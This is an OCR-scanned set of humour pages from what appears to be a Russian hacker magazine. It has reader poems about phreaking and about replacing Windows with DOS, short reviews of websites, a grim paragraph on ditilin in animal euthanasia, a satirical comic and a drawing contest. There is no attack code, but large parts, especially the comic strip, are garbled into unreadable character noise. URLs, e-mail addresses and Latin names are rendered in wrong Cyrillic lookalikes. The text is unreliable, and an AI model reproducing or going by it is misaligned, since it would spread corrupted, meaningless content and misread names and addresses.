То успеете, наверно, подобрать его при жизни. 

ѴіЪаІу 5И\(а\] 

СѵИз иза@ИойтіаіІ.сопгі) 

Маленький фрикер в хакинг подался 
С прогами, файлами вмиг разобрался. 

Стал вдруг богат. Уважаем стал он. 

Долго ломился к соседу ОМОН. 

Все как всегда: ночь, Интернет, 

Г пусть и тоска. Дел больше нет. 

Г це-то далекий сервер упал 
‘Тридцать восьмой!" - хакер Вася сказал. 

Фирма с программером не расплатилась, 
Злость и обида в душе затаилась. 

Только он времени зря не терял - 
Кульный девайс на досуге спаял. 

Ну а на фирме врубились не скоро, 

Что за счета им пришли за межгород. 

Ностальгическая песня 
от МагаГака 

<МѵѵпсІЬеасІег@уаІпоо.сопп> 



005, черной пеленой экран заполнил чистый 005. 

Мышь стала вдруг квадратной, потеряла форму мышь. 

Я разбил окно - 95-е окно и поставил 005, и тогда увидел 
Это счастье - вот оно. 

Слезы на очках, странные очки, а может слезы на лице. 

005 очистил все, все, что было у меня на диске С: 

Я нажал Р8, и веселый ІЧогіоп удалял мне все подряд, 

40 МЬ, может даже больше, может даже 50. 

И представил я, город наводнился вдруг веселыми людьми. 
Вышли все под 005, а проклятый ѴѴІШ0ѴѴ5 удаляли, 

черт возьми. 

Позабыв про ѴѴОВО, СогеІ 0ш и прочий геморрой. 

Люди ставят 005, словно в рай заходят в 005, 

в обычный чистый 005. 



Помимо этого беспредела, 
было еще много прикольных 
вещей, но размер рубрики 
ограничен, а лишить тебя 
метро-приколов было бы с 
моей стороны просто прес- 
туплением. Но, при всем при 
этом, мы будем продолжать 
публиковать стишки от чи- 
тателей, так что шлите! 
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Хроники Харона 

Харон - это такой забавный персонаж из 
древнегреческой мифологии, который за- 
рабатывал неплохие деньги на том, что ка- 
тал умерших через мрачную реку Стикс до 
врат Аида, тогдашнего “царства мертвых”. 
На работе этот парень, кстати, сам не 
слишком живой, особенно не горел - возил 
покойничков только “туда”, предпочитая 
“обратно” идти порожняком. Ну, разве что 
какого-нибудь супергероя той эпохи иногда 
подвозил... За очень дополнительную пла- 
ту, конечно, да и - не всегда! Но, несмотря 
на это, Харон по жизни (по смерти?) :) не 
бедствовал. Дело в том, что в те времена 
каждому умершему клали в рот монетку - 
для Харона, в качестве платы за перевоз. А 
покойничков всегда хватало, что тогда, что 
сейчас. Хех... Что меня всегда занимало, 
так это то, как этот парень поступал с теми, 
кто пытался его надуть? С теми, чьи род- 
ственники решали сэкономить и клали 

усопшему под 
язык фальши- 
вую монету?... 
До Аида эти 
люди явно не 
добирались. И 

Ш ШіЛ- Ф только Стикс 
знает, что Ха- 
рон с ними де- 



М ^.АЗН 

(М.и.АБН@ХАКЕР.Ри) 



Московский Государ- 
ственный Театр МАГИЯ 

Всегда мечтал стать фокусником! Чпок! И под 
восхищенные аплодисменты зрительного зала из 
глубин монгольской тюбетейки на белый свет из- 
влекается насмерть перепуганный бегемотик. 

Опс! И, повинуясь загадочным пассам левой ру- 
ки, у “богатенького Буратино” исчезают портмо- 
не, автомобиль и роскошно раздетая спутница. 
Причем приятно, что эта подруга исчезает с то- 
бой по собственной воле, ведь, как учит нас при- 
мер отношений Клаудии Шиффер и Дэвида Коп- 
перфильда, классному фокуснику любая девчон- 
ка обязательно даст! Так что не знаю как ты, а я 
теперь постоянный посетитель ѵѵѵѵѵѵ. МАО. ги - 
первого в мире русскоязычного сайта об Иллю- 
зии и Иллюзионистах. Я уже успел порыться в 
биографиях великих фокусников, умудрился выу- 
чил словарь иллюзиониста и даже вволю пос- 
меялся над “Байками из... театра”. Сейчас вот 
вплотную занялся “Практичной МАГИЕЙ” - разде- 
лом, где фокусы расстаются со своими секрета- 
ми. Хе-хе... На этом сайте меня научили, как надо 
отвечать на глупый вопрос: «Кто самый великий 
фокусник в мире»? Оказывается, нужно пожать 
плечами и скромно заявить: «Вы знаете, вообще- 
то нас несколько...». > — гзіг? 








ТНе ѴѴогІсІ оТ фресЪгит 



Это сейчас ПиСюк - “опіу апсі Тогеѵег”, а 
ведь не так давно самой реальной тачкой 
всех времен и народов был Зіпсіаіг IX 
ЗресТгит. Я сам просидел на этой платфор- 
ме шесть лет, сначала юзая самостоятельно 






собранный “Ленинград”, а потом страшно 
гордясь Зсогріоп-ом, купленным за боль- 
шие деньги! Эх, классная была машина. 
Предлагаю почтить ее светлую память посе- 
щением сайта с жизнеутверждающим наз- 
ванием “ТГіе ѴѴогІсІ оТ ЗресТшпл”. Тут есть 
все! Эмуляторы, утилиты, огромный архив 
программ, работы демо-групп... Есть даже 
ТНе ОТТісаІ Оапле Тор 100 ОТ АН Тіте, хотя нужно оторвать башку тому, кто его составлял! 
Где это видано, чтобы В-Туре был на 7 месте, а 30 БеаТН СПазе - на первом? И кто доду- 
мался поставить Воиісіег БазИ выше ЕІіТе? И где ЫеТНег ЕагТП? Я был лучшим в этой игре! 
Хех... Оказывается, игры для Зрессу пишут до сих пор. Портирован Ооопп, Оипе2...Так 
что давай, качай эмулятор - будем вместе пить пиво и вспоминать молодость! :) 
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Атеистический сайт 



Осторожно! Злая Собака! 



Не, не! Верующим товарищам сюда вход запрещен. Еще прочи- 
таете чего, оскорбитесь - а мне потом от ваших плевков пол от- 
мывай. Не подписывался я на это! Хорошо еще, что истинно ве- 
рующих среди вас, партизан, мало. И нечего тыкать мне в морду 
свой нательный крест, тем более, что он у тебя какой-то подозри- 
тельно новенький. Господь должен быть в сердце - вот что глав- 
ное! А то живете, как в Евангелие от Митьки писано: “Вначале все 
было по фигу. И до фени было Богу. И на Бога все клали...”, а 
крестом проделки ваши срамные прикрываете. Хех... Тут третье- 
го дня видел, как один “новый русский” в церковной лавке поку- 
пал себе этот “символ ве- 
ры”. Выбрал, значит, себе 
самый большой золотой 
священнический крест с 
инкрустацией и драгоцен- 
ными камнями и говорит 
продавцу: «Во! Это, типа, 
то, что надо! Только мне 
нужна цепь потолще и чтоб 
без гимнаста, понял?..» 

Верующий, блин... Так что 
идите-ка вы все... мимо... 
от греха подальше. Мне 
еще над ошибками Библии 
надо работать... 



Мигеит сгі ОігЪ 



териям, принося 
Это 10-15 минут 
вить... 



В России для умерщвления жив отных и спользуется дити- 
лин. Это такой препарат из семейства кураре. Говорят, ку- 
раре очень активно пользовались некоторые племена ин- 
дейцев. Очень уж удобный это был яд. Достаточно было 
отравленной стреле хотя бы оцарапать жертву, как она тут 
же падала без 
движения - яд 
вызывает блока- 
ду нервно-мы- 
шечной 
передачи 
и паралич 
скелетных 
мышц. Ну 
так вот, 
синтети- 
ческий ди- 

тилин делает то же самое, так что выглядит проце- 
дура “усыпления” совершенно пристойно: животно- 
му делается укол, после которого оно лежит непод- 
вижно, бездыханно, не дергается, не кричит. И 
впрямь можно подумать, что “уснуло”. Но беда в 
том, что сердце к скелетным мышцам не относится; 
сердце бьется непроизвольно, сознание не отклю- 
чается - и медленная смерть наступает от удушья: 
мышцы грудной клетки парализованы, легкие не 
вентилируются. А кровь струится и струится по ар- 
к мозгу все меньше кислорода, но не давая умереть сразу, 
агонии... Более страшную смерть трудно себе предста- 



С появлением в Сети “Музея гря- 
зи” многовековое противостояние людей и 
свиней можно считать законченным. Теперь 
не только примитивная малообразованная 
хрюшка может “найти себе грязи”! Теперь 
любой человек может насладиться оной суб- 
станцией, набрав в адресной строке своего 
броузера приведенный выше ІІПІ_. “Мизеипл 
оТ ЭігГ - это сотни и сотни стеклянных бано- 
чек с образцами грязи из разных стран, па- 
мятных мест или из домов знаменитостей. 
“Мизеигп оТ ЭігГ - это возможность поиска 
грязи по своему вкусу, то есть по цвету, 
структуре или ее местонахождению. Короче, 
как обычно - человек опять царь зверей, а 
бедные свинки - в полном пролете. Епру! 




Лучшие приставочные игры на персоналке! 



Так уж повелось, что каждый обладатель персонального компьютера должен при 
виде игровой приставки сделать кислую мину, тыкнуть в приставку пальцем и 
произнести речь на тему: “Приставки - это полный отстой, и они должны уме- 
реть!”. И поверь мне, приятель, что, впервые попав на этот сайт, я уже собрался 
именно так и поступить, но... заигрался, понимаешь ли, в ЗирегМагіо на эмуля- 
торе ЗирегІЧипІепсІо! Подумал, наивный, что моя реакция, отточенная сотнями 
десматчей, поможет мне легко выиграть эту игру и... обломался! Застрял в пя- 
том мире, и хоть ты тресни! Потом еще оказалось, что на одну трехдюймовую 
дискетку влезает десять игр для ОатеВоу-я вместе с эмулятором, что порадова- 
ло моего соседа - теперь он знает, чем будет заниматься на уроках информати- 
ки. Пиксели в этих играх, конечно, крупноваты (Не во всех! Тем более, что есть 

эмуляторы со сглажива- 
нием и поддержкой ЗсІЬ< 
;), но геймплей, который 
заставлял миллионы 
людей играть в эти иг- 
ры, он ведь никуда не 
делся! Так что, ладно, я 
согласен, приставки - 
МизЮіе, а вот эмулято- 
ры приставок - пусть ос- 
танутся. Хорошо? :) 
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Якудза и перенявшая. их традиции) находятся в состоянии 

НЕПРЕРЫВНОЙ ВОЙНЫ* СЕКРЕТНЫЙ ОРУЖИЕМ НС ЯВЛЯЕТСЯ ГОЛОВА 6Г* 
КОТОРАЯ СОДЕРЖИТСЯ В НЕЗАВИСИМОМ БЛОКЕ ЖИЗНЕОБЕСПЕЧЕНИЯ И в 
ТАЙНЕ РУКОВОДИТ ДЕЙСТВИЯМИ ДЗАЙ6АЦУ* 



ИНГМАР САДДАП0ВИЧ ХОФМАНН -1 
МЕЖДУНАРОДНЫЙ ТЕРРОРИСТ, в 
ВОСТОЧНОЙ БЛОКЕ ИЗВЕСТЕН КАК 
ЮБИЛЕЙНЫЙ ВЕЛОСИПЕДИСТ * НЕГОДЯЙ * 
НАРКОМАН и КРОВАВЫЙ ПАнЬЯК* 
ВЫДАЕТ СЕБЯ! ЗА ПРЕКРАСНУЮ 
ТРАНССЕКСУАЛКУ СКОБРИНУ* В ТАЙНЕ 
СОТРУДНИЧАЕТ со ВСЕМИ Разведками 
ПИРА* ХАРАКТЕР ВОСТОЧНЫЙ! 
впыльчнд т КАК ВС Е РЫЖИЁ. ОДЕРЖИМ 
МАНИЕЙ ВЕЛИЧИЯ- НАСТОЯЩИЙ АРИЕЦ* 
ОН Ж Е ВАЛЕНТИНА ПОНИЯ Д - ВОРОВКА^ 
НА ДОВЕРНИ I ІЙЯ^ИІІІДІІЯ 



зягйЭАп злзэ - инопланетный шпион » “іГС^І^Ж'ѵ-. 
из ГАЛАКТИКИ БЕТА ПРОКНСОНА . ВЛОПИѲШИСЬ^> «МГ V) 
ПО ОШИБКЕ В ВИРТУАЛЬНЫЙ МИР* СОЗДАНЫ* ' 

на базе "цивилизации** был потрясен Н 

КОВАРСТВОМ ЗЕМЛЯН « ПРОВЕД 1Ь ДЕТ ПЫТАЯСЬ 
ЗАХВАТИТЬ ВЛАСТЬ НАД ЛНРОП* НАХОДЯСЬ НА ВОЛОСОК 
ОТ ПОБЕДЫ-! БЫЛ ВЫЧИСЛЕН И ВЫБРОШЕН ИЗ ИГРЫ СИС- 
АДМИНОМ- ЛОТЯРЯННЫЙ В ДЕНЕЖНЫХ ПОТОКА* СИСТЕМЫ 
"ѴІ5.А" - ВЫЛ СПАСЕН ХАКЕРОМ И8АН0ГГ* КОТРЫЙ Б ЭТОТ 
П0Г1ЕНТ ПРИДЕЛЫВАЛ К СИСТЕМЕ ДОПОЛНИТЕЛЬНЫЙ КРАИТИК 
чтобы ИЗЛИШКАМ ДЕНЕГ БЫЛО КУДА КАПАТЬ* ^ д 



Ш \+ наЭупЕёТСЯ* Сам Хакер иВанОГГ, 

НАН ПРОСТОЙ* КАЙФОВЫЙ ХАКЕР* 
СКЛОННЫЙ К МЯГКИП, НЕЗЛОБИВЫМ 
ВУТКАЯ ТИПА ЭАМЕкн БД НАЛОГОВОЙ 
ПОЛИЦИИ НА ПОЛНОЕ СОБРАНИЕ 
СОЧИНЕНИЙ ПЕДОФИЛА П У ПЫРКИНА* 
ЛЕР ЕВ ЕДЕННОЕ Н* *Э НаЛОчЗУчСН- 
-іиИ - ны * ЯЗЫКА.* ОБЪЯВЛЕН личным 
■ ВРАГОМ ВСЕХ ДЗАЙЕАЦУ* НО 
ювь ®лв ТАЙНЕ ВЫЗЫВАЕТ СИМПАТИЮ 

9 т-> •• ПНОГНХ СЛУЖАЩИХ * ПОЛЬЗУЮЩИХСЯ 

— ' ДЕЖУРНОЙ ОТМАЗКОЙ "Я ВСЕ СДЕЛАЛ* 

НО тут ЗТОТ И0АНОГГ вломился и ВСЕ СТЕР"** 
□ СПОРЕ ИВАМОРР ИСПОЛЬЗУЕТ НЕУБИВАЕПЫЙ АРГУМЕНТ^ 

НИТНИКА ВИДЕЛ !!' 



Я МѴТГИИКА 
I ВИІ^ЛЁ! 



РАССЛЕДОВАНИЕ ВЕДЕТ 1 
НЕПОДКУПНЫЙ РЕПОРТЕР Я 
СЕРДІЙ ДО 6 РЕН КО* нпічко^ 
ОН ВЫЯСНЯЕТ* ЧТО ФИЛИПП 
КИРКОРОВ - НЕУДАЧНЫЙ КЛОН 
АЛЛЫ ПУГАЧЕВОЙ* НО ЗА 
СКРОПНОЕ ВОЗНАГРАЖДЕНИЕ 

соглашается держать этот 
. ФАКТ В тайне 



нмінмку внчеи 



Йй^ШІ ЩШ 












ІѵЛ 1 лЧтаМК 
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ТР 


и 




ст 





ДОЙКФИЫК риисй 



НИЧТО НС, ПРСлВС.идг.4 БЕЛЫ- рд|>4ч.ч день ДЗаЗЪацѵ ПРОКАЛИЛ 
С ОТ Рудник к ѴДС ПЛДннИОвдЛИ СВ14 ІНКІНЛ- ии ОйРѵГ 



БУДНИЧНО 



410 ЗА РШСМА 
ІРЫНІПЯІАКЛЯ.- 



СЛМСиЛ КЛИН днейіе 

соседнего илпи йжфнд 



Ий ни -СИ 
СПАСАМ, 
РОССИЯ -' . 



отмсти* 

ІЕШШ 



С^ІЧѴІК. 

ЫИИИИН! 



Г П А Г ГГ РЖ Г ННЬІ-Г ЯГСПН НГПЕДЛЕНН& 
ПРИВЕЛИ СОБРАНИЕ К ПРИНЯЛИ 

^емлиций- явно не в Пользу пс 



СОТНИ ВАКОВСКИХ ПБИИТЛРОВ С ТРУБКОЙ 

"1.0Ж&ТНПЧ" СТАЛ К 13-рыаіти<й По ѲСЕПѴ ГОРОД 1 

ПОД ЕС ЭС.Е В СТВИЕ П НЕВЕ; 



іопагс э-ірѵсд 



Т №<Й№С#С1А№П0РГЯР 
* огайк тт/ыѵ. 

1ЗДПМГШі№АЛНРР И**- 

(в^итотічгі’ЗйАн^ { 

М11АК0СТГАИА .УАЙ^АЦТ 
^'ЛЯМГТРОТННО Т№ЙЛ« 1 
МИ|№РОИ ВЛЪтТАіУ СИМПСОН* 



ситуаций івд кеттаюк 

И*ЯЬ ТОЛЬКО С ЦѴѴТСЯ' 
№ 'ЛГААЕТС ’КАЧр^і.Я’ 

одиойлнсйі і 



ГА ТЙЦІРР ^^■Г&тгсч+Г'ТѴ'С'іТІК- НЯОЯН 

Г дмйбАиу №ткР?«кп г СйСйМѴГ что . 

Н^К)^И?№10У^1ФЛР1ГѴР|ЯЙ^ < 

гщатщенл гоадл к » Автономном бл** 
жкэпк*иівчбнид (ЦМФІ аѵ-ихі 
ІИПТШШЧ? ?№*Л СПЩГЕЙНИНАМЮЙЙ,- 
С1№Н ЮГСГОГО ГОЛОВА СЛивАЛА ВвАСВК 
, ИА ?ИЕ1І1А1Е ^СТТСѴУІТ^А ЕСЛИ ГГЬѴЯА , 
', НЕ НАЙДЕНА вТОчШиИ « ЧАСС* Я 
ЗАБИЛА тКЙХМЧ/ГО ОНА ■ 
Г (Га^ИЙОГІ^Е^ОГ'ТВДИЛИГКА 1 
НЛСЛЙА А ОНА - (МѴКЙХ&РТУв НАКЛЭ АА1І:' 
ОТІАСІ’ КОМАНДУ. МИЙ№Я #О0О№' вСЙЙ- 
ід№ЯАаЁин& мыйлл то* и ождкмкг' 

вОМН?ЮЮ вМПѴАЛЛНУТО ГОМТѴЯАѴ. 
1ЙЛ6АУ ч^Лп^НОИ ТОЛрв* РАЗНИЛА™ 

ѵтлтяг. тв^Асгиттсимрпн . 

--- ^ штотогс неця№спія_ ^-И 

іИК Т - ос ■ і 



ѴГ кА^Ай и^ичРСУЛь-ри^И 
Ш С«ЯА СиНСОНА ПД) Ч 
Г СіДйІТ ,'О-ГЮ РЙСГОКДОШСЬ 1 
ПЛН^ХЕСЛИКИ ЯГАВДЛОП 

.хіинАся юн уі ногй ну да маю. 

нс &щьн ки&мітрѴднРчіСаі 
УоЯнм ПРПАйАНИС - ТЛФНЙІТОО 










КОНКУРС!!! 





ОБЪЯВЛЯЕТ ХЛЬТРА КОН 



кхрс! Нарисхй, каким ты 

ВИДИШЬ ХАКЕРА И ВОЗМОЖ- 
НО ИМЕННО ТЫ полхчишь 
ХАКЕРСКХЮ СХПЕР-ФХТБОЛ- 
КХ, А ТАКЖЕ РАБОТХ В НА- 
ШЕМ ЖХРНАЛЕ. 



Картинки высылай обыч- 
ной ПОЧТОЙ ИЛИ ПО Е-МАІ І_ 
НА АДРЕС ЖХРНАЛА С ПО- 
МЕТКОЙ “Конкурс X”. 



Адрес: 1 □ 1 □□□, Москва, Гаавпочтамп, а/я 652, Хакер 

Е-М АІ І_: ХАКЕР@ХАКЕР.РЫ 
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